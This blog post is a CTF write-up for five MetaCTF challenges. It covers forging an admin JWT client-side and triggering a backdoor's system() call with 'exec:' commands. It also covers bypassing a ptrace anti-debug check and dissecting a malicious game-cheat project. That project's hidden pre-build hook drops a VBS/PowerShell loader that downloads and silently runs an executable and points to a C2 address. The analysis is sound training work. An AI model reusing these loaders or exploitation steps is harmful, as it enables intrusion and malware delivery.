️🏴 MetaCTF January 2025 Flash CTF
A monthly mini CTF competition organized by MetaCTF and Antisyphon.
2025-01-26
A monthly mini CTF competition organized by MetaCTF with support from Antisyphon Training, TCM Security, Simply Cyber Academy. There will be 5 challenges and you will have 2 hours to solve as many as you can. This is a beginner-friendly CTF.
Details here: https://app.metactf.com/join/jan2025.
Cooked Books
We signed up for a new digital library provider, but the numbers they're giving us for the amount of times that our banned book selection is getting borrowed doesn't seem right, we believe they're hiding some sort of message in the report.
Download the report here.
The data look something like this:
Title | Author | Times Borrowed | Avg Rating |
---|---|---|---|
To Kill a Mockingbird | Harper Lee | 77 | 4.26 |
1984 | George Orwell | 101 | 4.2 |
The Catcher in the Rye | J.D. Salinger | 116 | 3.8 |
The Handmaid's Tale | Margaret Atwood | 97 | 4.14 |
Fahrenheit 451 | Ray Bradbury | 67 | 3.96 |
The Bluest Eye | Toni Morrison | 84 | 4.12 |
Of Mice and Men | John Steinbeck | 70 | 3.89 |
Animal Farm | George Orwell | 123 | 4.0 |
Lord of the Flies | William Golding | 49 | 3.7 |
As implied by the description, the Times Borrowed is suspiciously in the ASCII range for all rows:
>>> import csv
>>> with open("banned_books_report.csv") as i:
... print(
... "".join(chr(int(book["Times Borrowed"])) for book in csv.DictReader(i))
... )
...
MetaCTF{1nf0rm4ti0n_1s_p0w3r}
Trading Places
My friends Hannah and Steven from college are starting up a new fintech company. They sent me the link to their trading platform so I can take a look (in demo mode). It's supposedly quite secure, using the latest in cryptographic standards.
Why don't you take a look?
The site provides guest
:guest
credentials to authenticate, after which it
kindly informs users that:
Guest preview mode enabled -
admin
login required to make trades.
Once authenticated, we're provided a JWT. However, the actual process that sets said JWT is a little odd:
<script type="module">
import * as jose from 'https://cdn.jsdelivr.net/npm/jose@latest/dist/browser/index.js';
const { SignJWT } = jose;
window.onload = function () {
document.getElementById('login-form').onsubmit = async (e) => {
e.preventDefault();
const formData = new FormData(e.target);
const user = formData.get('username');
const pass = formData.get('password');
const response = await fetch('/login', {
method: 'POST',
body: new URLSearchParams({
username: user,
password: pass
}),
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
let resp = await response.json();
if ("success" in resp) {
const token = new TextEncoder().encode(response.headers.get("jwt"));
const jwt = await new SignJWT({ sub: user })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("2h")
.sign(token);
document.cookie = "jwt=" + jwt;
window.location.href = "/dashboard";
} else {
alert("Incorrect username or password.");
}
};
}
</script>
Having authenticated as guest
, the resulting token is signed but the sub
is derived and the token signed client-side: can sub
be set to admin
?
Adapting the above and using the browser console:
import('https://cdn.jsdelivr.net/npm/jose@latest/dist/browser/index.js').then(m => jose = m);
const { SignJWT } = jose;
const user = 'guest';
const pass = 'guest'
const response = await fetch('/login', {
method: 'POST',
body: new URLSearchParams({
username: user,
password: pass
}),
headers: { 'Content-Type': 'application/x-www-form-urlencoded' }
});
let resp = await response.json();
if ("success" in resp) {
const token = new TextEncoder().encode(response.headers.get("jwt"));
const jwt = await new SignJWT({ sub: 'admin' })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("2h")
.sign(token);
document.cookie = "jwt=" + jwt;
window.location.href = "/dashboard";
} else {
alert("Incorrect username or password.");
}
The dashboard then contains:
<h2>The flag is <code>MetaCTF{cli3nt_s1d3_crypt0graph1c5}</code></h2>
<center><p>Congrats!</p></center>
Rear Hatch
We've been getting a lot of suspicious reports in our Maintenance Schedule Management application, we're worried that the contractor who we had write the application may have included some sort of backdoor, can you check it out?
Download the source code here, then when you're ready, connect to the real service with
nc kubenode.mctf.io 30014
The source code does indeed contain this odd function:
void markRequestCompleted() {
int id;
printf("Enter the ID of the request to mark as completed: ");
scanf("%d", &id);
for (int i = 0; i < requestCount; i++) {
if (requests[i].id == id && (strncmp((char *)requests+i*264+4,"\x65\x78\x65\x63\x3a",5)==0?system((char *)requests+i*264+9),1:1)) {
requests[i].isCompleted = 1;
saveRequests();
printf("Request marked as completed.\n");
return;
}
}
printf("Request with ID %d not found.\n", id);
return;
}
Odd insofar as those bytes have an interesting meaning:
>>> print("\x65\x78\x65\x63\x3a")
exec:
So if a request starts with exec:
, system()
will be called against the
subsequent bytes.
However, it's not clear where the flag is but that can be determined readily enough:
❯ nc kubenode.mctf.io 30014
No existing data file found. Starting fresh.
=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 1
Enter description for the maintenance request: exec:ls
Request added successfully.
=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 4
Enter the ID of the request to mark as completed: 1
flag.txt
run
Request marked as completed.
Oh. I should have guessed.
=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 1
Enter description for the maintenance request: exec:cat flag.txt
Request added successfully.
=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 4
Enter the ID of the request to mark as completed: 2
MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}Request marked as completed.
I Heard You Liked Loaders
I hope you like mine :)
Download the loader here.
Yeah. "Loaders". I definitely know what's meant in this context.
Anyway…
Courtesy of BinaryNinja:
int64_t main()
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
int64_t rax_1 = mmap(0, 0x400, 7, 0x22, 0xffffffff, 0);
__builtin_memcpy(rax_1, "\xbf\x01\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x4d\x31\xd2\xb8\x65\x00\x00\x00\x0f\x05\x48\x83\xf8\x00\x75\x02\xeb\x0a\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05\xe8\x00\x00\x00\x00\x48\x8d\x35\x1e\x00\x00\x00\x48\xff\xce\x8a\x06\x84\xc0\x74\x14\x8a\x5e\x01\x30\xd8\x32\x46\xff\x2c\x07\x88\x06\x48\xff\xc6\xeb\xe9\xff\xe6\x90\xff\x20\x50\xa6\x29\x59\xb8\x3e\x4e\xa6\x3b\x4b\x87\x3e\x4e\x79\xd2\xa7\x51\xc5\xb0\x51\xcc\xb9\x51\xd7\xa2\x71\x79\xfa\x26\xa7\x85\xa2\xa5\xa2\x1a\x3c\xe3\x3f\xae\xbc\xbb\xbc\xbb\xf4\xba\x82\x0d\x43\x71\x8e\xb3\x34\xb3\xf4\x34\xb0\x49\x41\x47\x40\x3a\x40\x44\x52\x27\x20\x27\x85\x53\x8a\xba\xb7\x43\x66\x80\x8e\xd8\x22\x3f\x89\x87\xdf\x3b\x0e\xd0\x80\xd7\x45\x2c\xad\xb2\xc7\x01\x73\x8e\xd4\xf0\x27\x05\xdb\x8b\x8f\x3f\x03\x82\x9d\xca\xf9\x4c\xc4\x44\xac\x6b\x50\x57\x6f\xa9\x48\x00\xcc\x00", 0xcb);
rax_1();
if (rax == *(uint64_t*)((char*)fsbase + 0x28))
return 0;
return __stack_chk_fail();
}
…and courtesy of CyberChef (stripping all the \x
and using its "Disassemble
x86" operation), the above encoded shellcode appears to be:
0000000000000000 BF01000000 MOV EDI,00000001
0000000000000005 4831F6 XOR RSI,RSI
0000000000000008 4831D2 XOR RDX,RDX
000000000000000B 4D31D2 XOR R10,R10
000000000000000E B865000000 MOV EAX,00000065
0000000000000013 0F05 SYSCALL
0000000000000015 4883F800 CMP RAX,0000000000000000
0000000000000019 7502 JNE 000000000000001D
000000000000001B EB0A JMP 0000000000000027
000000000000001D 4831FF XOR RDI,RDI
0000000000000020 B83C000000 MOV EAX,0000003C
0000000000000025 0F05 SYSCALL
0000000000000027 E800000000 CALL 0000000-FFFFFFD4
000000000000002C 488D351E000000 LEA RSI,[0000000-FFFFFFAF]
0000000000000033 48FFCE DEC RSI
0000000000000036 8A06 MOV AL,BYTE PTR [RSI]
0000000000000038 84C0 TEST AL,AL
000000000000003A 7414 JE 0000000000000050
000000000000003C 8A5E01 MOV BL,BYTE PTR [RSI+01]
000000000000003F 30D8 XOR AL,BL
0000000000000041 3246FF XOR AL,BYTE PTR [RSI-01]
0000000000000044 2C07 SUB AL,07
0000000000000046 8806 MOV BYTE PTR [RSI],AL
0000000000000048 48FFC6 INC RSI
000000000000004B EBE9 JMP 0000000000000036
000000000000004D FFE6 JMP RSI
000000000000004F 90 NOP
0000000000000050 FF20 JMP QWORD PTR [RAX]
0000000000000052 50 PUSH RAX
0000000000000053 A6 CMPS BYTE PTR [RDI],BYTE PTR [RSI]
0000000000000054 2959B8 SUB DWORD PTR [RCX-48],EBX
0000000000000057 3E4EA6 CMPS BYTE PTR DS:[RDI],BYTE PTR DS:[RSI]
000000000000005A 3B4B87 CMP ECX,DWORD PTR [RBX-79]
000000000000005D 3E4E79D2 HT JNS 0000000000000033
0000000000000061 A7 CMPS DWORD PTR [RDI],DWORD PTR [RSI]
0000000000000062 51 PUSH RCX
0000000000000063 C5B051CC VSQRTPS XMM1,XMM4
0000000000000067 B951D7A271 MOV ECX,71A2D751
000000000000006C 79FA JNS 0000000000000068
000000000000006E 26A7 CMPS DWORD PTR ES:[RDI],DWORD PTR ES:[RSI]
0000000000000070 85A2A5A21A3C TEST DWORD PTR [RDX+3C1AA2A5],ESP
0000000000000076 E33F JRCXZ 00000000000000B7
0000000000000078 AE SCAS AL,BYTE PTR [RDI]
0000000000000079 BCBBBCBBF4 MOV ESP,F4BBBCBB
000000000000007E BA820D4371 MOV EDX,71430D82
0000000000000083 8EB334B3F434 MOV ST(-2),WORD PTR [RBX+34F4B334]
0000000000000089 B049 MOV AL,49
000000000000008B 4147403A4044 CMP AL,BYTE PTR [RAX+44]
0000000000000091 52 PUSH RDX
0000000000000092 27 ???
0000000000000093 2027 AND BYTE PTR [RDI],AH
0000000000000095 85538A TEST DWORD PTR [RBX-76],EDX
0000000000000098 BAB7436680 MOV EDX,806643B7
000000000000009D 8ED8 MOV DS,EAX
000000000000009F 223F AND BH,BYTE PTR [RDI]
00000000000000A1 8987DF3B0ED0 MOV DWORD PTR [RDI-2FF1C421],EAX
00000000000000A7 80D745 ADC BH,45
00000000000000AA 2CAD SUB AL,AD
00000000000000AC B2C7 MOV DL,C7
00000000000000AE 01738E ADD DWORD PTR [RBX-72],ESI
00000000000000B1 D4 ???
00000000000000B2 F027 ???
00000000000000B4 05DB8B8F3F ADD EAX,3F8F8BDB
00000000000000B9 03829DCAF94C ADD EAX,DWORD PTR [RDX+4CF9CA9D]
00000000000000BF C444AC6B ???
00000000000000C3 50 PUSH RAX
00000000000000C4 57 PUSH RDI
00000000000000C5 6F OUTS DX,DWORD PTR [RSI]
00000000000000C6 A948000CC0 TEST EAX,C00C0048
The initial part contains an anti-debugging check, specifically checking for
ptrace
:
MOV EAX,00000065
SYSCALL
Using pwndbg/pwndbg
, it's a little more clear:
► 0x7ffff7fbf000 mov edi, 1 EDI => 1
0x7ffff7fbf005 xor rsi, rsi RSI => 0
0x7ffff7fbf008 xor rdx, rdx RDX => 0
0x7ffff7fbf00b xor r10, r10 R10 => 0
0x7ffff7fbf00e mov eax, 0x65 EAX => 0x65
0x7ffff7fbf013 syscall <SYS_ptrace>
0x7ffff7fbf015 cmp rax, 0
Setting set $rax=0
right before that check is made to bypass it. The program
then runs, looping a lot, before dying with this final set of instructions:
0x7ffff7fbf094 mov ebx, 0x6174654d EBX => 0x6174654d
0x7ffff7fbf099 mov ebx, 0x7b465443 EBX => 0x7b465443
0x7ffff7fbf09e mov ebx, 0x6564346d EBX => 0x6564346d
0x7ffff7fbf0a3 mov ebx, 0x34306c5f EBX => 0x34306c5f
0x7ffff7fbf0a8 mov ebx, 0x5f723364 EBX => 0x5f723364
► 0x7ffff7fbf0ad mov ebx, 0x72755f34 EBX => 0x72755f34
0x7ffff7fbf0b2 mov ebx, 0x61306c5f EBX => 0x61306c5f
0x7ffff7fbf0b7 mov ebx, 0x7d723364 EBX => 0x7d723364
0x7ffff7fbf0bc xor rbx, rbx RBX => 0
0x7ffff7fbf0bf mov eax, 0x3c EAX => 0x3c
0x7ffff7fbf0c4 xor ecx, eax ECX => 0 (0x3c ^ 0x3c)
0x7ffff7fbf0c6 retf
Interestingly though:
>>> 0x6174654d.to_bytes(4)
b'ateM'
Applying that same principle to the rest of the values:
data = """
0x7ffff7fbf094 mov ebx, 0x6174654d EBX => 0x6174654d
0x7ffff7fbf099 mov ebx, 0x7b465443 EBX => 0x7b465443
0x7ffff7fbf09e mov ebx, 0x6564346d EBX => 0x6564346d
0x7ffff7fbf0a3 mov ebx, 0x34306c5f EBX => 0x34306c5f
0x7ffff7fbf0a8 mov ebx, 0x5f723364 EBX => 0x5f723364
► 0x7ffff7fbf0ad mov ebx, 0x72755f34 EBX => 0x72755f34
0x7ffff7fbf0b2 mov ebx, 0x61306c5f EBX => 0x61306c5f
0x7ffff7fbf0b7 mov ebx, 0x7d723364 EBX => 0x7d723364
"""
"".join(
int_.to_bytes(4, byteorder="little").decode()
for int_ in map(eval, (line.split()[-1] for line in data.strip().splitlines()))
)
Thankfully, that gives:
MetaCTF{m4de_l04d3r_4_ur_l0ad3r}
Whisper Of The Pain
The Valorant gaming community has recently become the target of a mysterious cyber campaign. This operation appears to exploit players who use cheating tools, turning their machines into unwitting pawns in a larger scheme.
Our investigation has led us to the computer of one such victim—a treasure trove of evidence awaits. Your mission is to dive deep, uncover the truth, and pinpoint the IP addresses used by the perpetrators to orchestrate this campaign. However, the analysis of the malicious samples has triggered the attackers. As a result, most of the links to the malicious code have now been taken down. Does this make it more difficult for you?
Download the artifact here. Follow the investigation to it's end and you will uncover the flag.
A quick grep for "cheat" turns up references to one
CyberValorant-Cheat-Visual-Aimbot-ESP
which sounds suitably promising. The
SQLite database at
C/Users/IEUser/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/History
also contains a reference to the GitHub repo. for that in its urls
table:
hannah1337/CyberValorant-Cheat-Visual-Aimbot-ESP
.
The Valorant-External.vcxproj
in that repo. contains this:
<PreBuildEvent>
<Command>@echo off
setlocal
set "a=%25TEMP%25\a"
mkdir "%25a%25" 2>nul
echo b = "JFIgPSAiPXdtY2dzVG…
</PreBuildEvent>
…well, a whole host of encoded data. With some CyberChef assistance:
- decoding HTML entities
- URL decoding
- replacing


with\r\n
(not sure what type of encoding this is)
…it reduces to this (with some base64 chunks in there):
@echo off
setlocal
set "a=%TEMP%\a"
mkdir "%a%" 2>nul
echo b = "JFIgPSAiPX…" > "%a%\b.vbs"
echo c = "VdvQUNka0FDY…" >> "%a%\b.vbs"
echo d = "JwUjNZdVZuW…" >> "%a%\b.vbs"
echo e = b ^& d ^& c >> "%a%\b.vbs"
echo Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64") >> "%a%\b.vbs"
echo f.DataType = "bin.base64" >> "%a%\b.vbs"
echo f.Text = e >> "%a%\b.vbs"
echo g = f.NodeTypedValue >> "%a%\b.vbs"
echo h = "%a%\i.ps1" >> "%a%\b.vbs"
echo Set j = CreateObject("Scripting.FileSystemObject") >> "%a%\b.vbs"
echo Set k = j.CreateTextFile(h, True) >> "%a%\b.vbs"
echo k.Write l(g) >> "%a%\b.vbs"
echo k.Close >> "%a%\b.vbs"
echo Set m = CreateObject("WScript.Shell") >> "%a%\b.vbs"
echo m.Run "powershell.exe -ExecutionPolicy Bypass -File " ^& h, 0, False >> "%a%\b.vbs"
echo Function l(n) >> "%a%\b.vbs"
echo Dim o, p >> "%a%\b.vbs"
echo Set o = CreateObject("ADODB.Recordset") >> "%a%\b.vbs"
echo p = LenB(n) >> "%a%\b.vbs"
echo If p ^> 0 Then >> "%a%\b.vbs"
echo o.Fields.Append "q", 201, p >> "%a%\b.vbs"
echo o.Open >> "%a%\b.vbs"
echo o.AddNew >> "%a%\b.vbs"
echo o("q").AppendChunk n >> "%a%\b.vbs"
echo o.Update >> "%a%\b.vbs"
echo l = o("q").GetChunk(p) >> "%a%\b.vbs"
echo Else >> "%a%\b.vbs"
echo l = "" >> "%a%\b.vbs"
echo End If >> "%a%\b.vbs"
echo End Function >> "%a%\b.vbs"
cscript //nologo "%a%\b.vbs"
endlocal
…which, after yet more manipulation and base64 decoding gives:
$R = "=wmcgsTfgUWdulGdu92Q5xG…zb3JCIwByegknc0Byegwmcg42bpR3YuVnZ"; $txt = $R.ToCharArray(); [array]::Reverse($txt); $bnb = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(-join $txt)); $exp = "Invoke-Expression"; New-Alias -Name pWN -Value $exp -Force; pWN $bnb
…which after reversing and base64-decoding gives:
function rl { try { p "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCkHjCjcKowpbClcK1wpI=" } catch { x } } function x { try { p "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCnH7Cu8KlfcKewrDCqw==" } catch { l } } function l { try { p "wo7CucOmwqzCuMKWaMKUw57CqsKzwrhzwonCtMOfa8K5wqZwwq7DonN3woPCu2d0w6TCncK8" } catch { o } } function o { try { p "wo7CucOmwqzCuMKWaMKUw57Co8K4wr/Ct8Kfc8OVwqt0w5ZswpvCnsK2wrXCg8KrVcK3w5PCsw==" } catch { Start-Sleep -Seconds 20; rl } }; function p { param ([string]$e) if (-not $e) { return } try { $d = d -mm $e -k $prooc; $r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc } $g = [System.Guid]::NewGuid().ToString(); $t = [System.IO.Path]::GetTempPath(); $f = Join-Path $t ($g + ".7z"); $ex = Join-Path $t ([System.Guid]::NewGuid().ToString()); $c = New-Object System.Net.WebClient; $b = $c.DownloadData($dl); if ($b.Length -gt 0) { [System.IO.File]::WriteAllBytes($f, $b); e -a $f -o $ex; $exF = Join-Path $ex "SearchFilter.exe"; if (Test-Path $exF) { Start-Process -FilePath $exF -WindowStyle Hidden } if (Test-Path $f) { Remove-Item $f } } } catch { throw } }; $prooc = "&Er<E\9el>J`KE"; function d { param ([string]$mm, [string]$k) try { $b = [System.Convert]::FromBase64String($mm); $s = [System.Text.Encoding]::UTF8.GetString($b); $d = New-Object char[] $s.Length; for ($i = 0; $i -lt $s.Length; $i++) { $c = $s[$i]; $p = $k[$i % $k.Length]; $d[$i] = [char]($c - $p) }; return -join $d } catch { throw } }; $proc = "```$b#{o*%3I,};',W```"n~O@0"; function v { param ([string]$i) $b = [System.Convert]::FromBase64String($i); $s = [System.Text.Encoding]::UTF8.GetString($b); $c = $s -split ' '; $r = ""; foreach ($x in $c) { $r += [char][int]$x }; return $r }; function e { param ([string]$a, [string]$o) $s = "NTAgNTAgNTUgNTEgNTIgNTMgNTQgNTEgNTUgNTAgNTEgNTEgNTUgNTIgNTAgMTAwIDU1IDQ4IDUyIDQ4IDU1IDUxIDU1IDUxIDU1IDU1IDUxIDQ4IDU1IDUwIDU0IDUyIDUwIDUw"; $p = v -i $s; $z = "C:\ProgramData\seventzip\7z.exe"; $arg = "x `"$a`" -o`"$o`" -p$p -y"; Start-Process -FilePath $z -ArgumentList $arg -WindowStyle Hidden -Wait }; $d = "C:\ProgramData\seventzip"; if (-not (Test-Path "$d\7z.exe")) { New-Item -ItemType Directory -Path $d -Force | Out-Null; $u = "https://www.7-zip.org/a/7zr.exe"; $o = Join-Path -Path $d -ChildPath "7z.exe"; $wc = New-Object System.Net.WebClient; $wc.DownloadFile($u, $o); $wc.Dispose(); Set-ItemProperty -Path $o -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue; Set-ItemProperty -Path $d -Name Attributes -Value ([System.IO.FileAttributes]::Hidden -bor [System.IO.FileAttributes]::System) -ErrorAction SilentlyContinue }; rl
Those base64 strings are passed through function d
:
function d {
param ([string]$mm, [string]$k)
try {
$b = [System.Convert]::FromBase64String($mm);
$s = [System.Text.Encoding]::UTF8.GetString($b);
$d = New-Object char[] $s.Length;
for ($i = 0; $i -lt $s.Length; $i++) {
$c = $s[$i];
$p = $k[$i % $k.Length];
$d[$i] = [char]($c - $p)
};
return -join $d
} catch {
throw
}
};
…where mm
is the base64 string and k
is the value of prooc
:
&Er<E\9el>JKE
, for example:
PS /mnt> $mm = "wo7CucOmwqzCuMKWaMKUw5zCn8K9wr/CqsKIwq7DoGrCqMOLwqbClMOewp/DgXrCkHjCjcKowpbClcK1wpI=";
PS /mnt> $k = "&Er<E\9el>J`KE";
PS /mnt> d -mm $mm -k $k;
https://pastebin.com/raw/KRH6ZPYY
Repeating that for the remaining 3 base64 chunks yields:
https://pastebin.com/raw/KRH6ZPYY
https://pastebin.com/raw/WXv3AYTr
https://rlim.com/tJ7Iv5-8vA/raw
https://rentry.co/z362xk8f/raw
3 of these have been removed but the rlim.com
one allows the history to be
viewed (after wrangling with the site's over-enthusiastic ads.) and although it
now shows REDACTED
, previously it was:
w4jCmMOWwpPDrsKpWVTCmsKywqDDpcKwwolawrrDj8KPwp3DpsKwwqPCm8OEwoXDj8KIw6/DkMKgworCpcK8wpHCrMKfwozCmMK/w4lPw5vDo8ODwrLCn8KPwpbDh8KPw6DDkMKdworCpnjCkMOswrLClcKYw4bDgcKGwp3Dq8K0wrTCosOPU8K2d8K/w4HCj8KVwp/CqsKlwqtywqE=
Using the value of proc
from the above:
PS /mnt> $k = "```$b#{o*%3I,};',W```"n~O@0";
PS /mnt> d -mm $mm -k $k;
https://github.com/hackdametaverse/delhi-metro/releases/download/metro/TTDReplay.7z
The 7z archive is password protected and the password is again base64 encoded but it's the ASCII values of the characters, not the password directly:
import base64
`"".join(
map(
chr,
map(
int,
base64.b64decode(
"NTAgNTAgNTUgNTEgNTIgNTMgNTQgNTEgNTUgNTAgNTEgNTEgNTUgNTIgNTAgMTAwIDU1IDQ4IDUyIDQ4IDU1IDUxIDU1IDUxIDU1IDU1IDUxIDQ4IDU1IDUwIDU0IDUyIDUwIDUw"
).decode().split()
)
)
)
Using the resulting password of 227345637233742d704073737730726422
extracts
an executable, SearchFilter.exe
:
┌──(root㉿psy-xps-13)-[/mnt]
└─# file SearchFilter.exe
SearchFilter.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 2 sections
As it's a .NET executable,
ILSpyCmd
to the rescue…sort of. Class names and variables appear to be in Chinese
(according to Google Translate) making things a touch difficult but thanks to
references to things like this:
namespace 人的執她的行人使成澤顧商接太
{
public class 澤程席成顧受
{
public static object 城成生顧的家商席商(string 受將合人顧太孫合承)
{
RijndaelManaged rijndaelManaged = new RijndaelManaged();
MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
…there's at least some sense of what's happening. This base64 string appears to be encryped:
public static string 為公的敬顧管生人承導太希 = "kxpp2h/dBYdEEY5NSXs4qGq+91pW6PsavDuNGg+u+IXLR0W2o0d5Cdg9OXc8qQ+i";
…with the encryption key being derived from this:
public static string 敬顧執子顧 = "${8',`d0}n,~@J;oZ\"9a";
…from which the code calculates the MD5 and combines the first 15 and then 16
bytes of said hash, plus a final 0
:
byte[] array = new byte[32];
byte[] sourceArray = mD5CryptoServiceProvider.ComputeHash(成商澤子金命城.尊的尊澤人希人(家顧玉的澤顧人.敬顧執子顧));
Array.Copy(sourceArray, 0, array, 0, 16);
Array.Copy(sourceArray, 0, array, 15, 16);
…before finally being encrypted:
rijndaelManaged.Key = array;
rijndaelManaged.Mode = CipherMode.ECB;
ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor();
byte[] array2 = 成商澤子金命城.尊的尊澤人希人(受將合人顧太孫合承);
result = Convert.ToBase64String(cryptoTransform.TransformFinalBlock(array2, 0, array2.Length));
return result;
With a key of f3758b11f3304f884564a6fb1548e5f3758b11f3304f884564a6fb1548e5d20
,
decrypting 為公的敬顧管生人承導太希
via CyberChef (base64 decryption and AES/ECB
decryption) yields: https://pastebin.com/raw/uyNtUu9p
:
❯ curl https://pastebin.com/raw/uyNtUu9p
98.184.49.53:8080
#MetaCTF{Curs3s_c0mE_h0me_T0_rO0sT}